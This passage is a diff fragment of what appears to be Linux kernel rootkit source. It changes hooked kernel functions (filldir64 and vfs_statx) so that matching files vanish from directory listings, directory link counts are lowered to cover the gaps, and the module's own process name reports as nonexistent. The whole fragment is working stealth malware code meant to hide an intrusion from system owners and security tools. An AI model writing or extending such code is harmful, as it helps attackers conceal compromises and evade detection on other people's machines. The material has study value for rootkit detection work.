(*real_filldir64)(struct dir_context *, const char *, int, loff_t, u static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif - if (fs_search_and_update(name, ino, d_type == DT_DIR)) - goto match; + if (fs_search_name(name, ino)) + return 0; return real_filldir64(ctx, name, namlen, offset, ino, d_type); match: + prinfo("Hiding '%s' from ino=%llu\n", name, ino); return 0; } @@ -1013,15 +1014,25 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct /** size is more than enough for what is needed here. */ char kernbuf[PROCNAME_MAXLEN+6] = {0}; + long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask); + if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) { + if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) { + int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino); + if (count > 0) { + prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count); + stat->nlink -= count; + } + } + /** we don't exist */ if (strstr(kernbuf, PROCNAME)) return -ENOENT; } /** return normal */ - return real_vfs_statx(dfd, filename, flags, stat, request_mask); + return rv; } /**